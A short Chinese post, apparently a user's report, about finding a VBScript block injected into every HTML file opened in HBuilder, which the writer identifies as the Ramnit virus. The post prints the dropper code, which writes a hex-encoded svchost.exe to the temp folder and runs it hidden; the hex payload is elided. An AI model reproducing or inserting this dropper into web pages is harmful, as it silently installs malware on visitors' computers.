今天打开Hbuilder,发现每个html文档都有如下代码:
<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData =4B3F9................................................................0FAB3F-------无数个十六进制字符
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileNameIf FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>
网上搜索是电脑中的ramnit病毒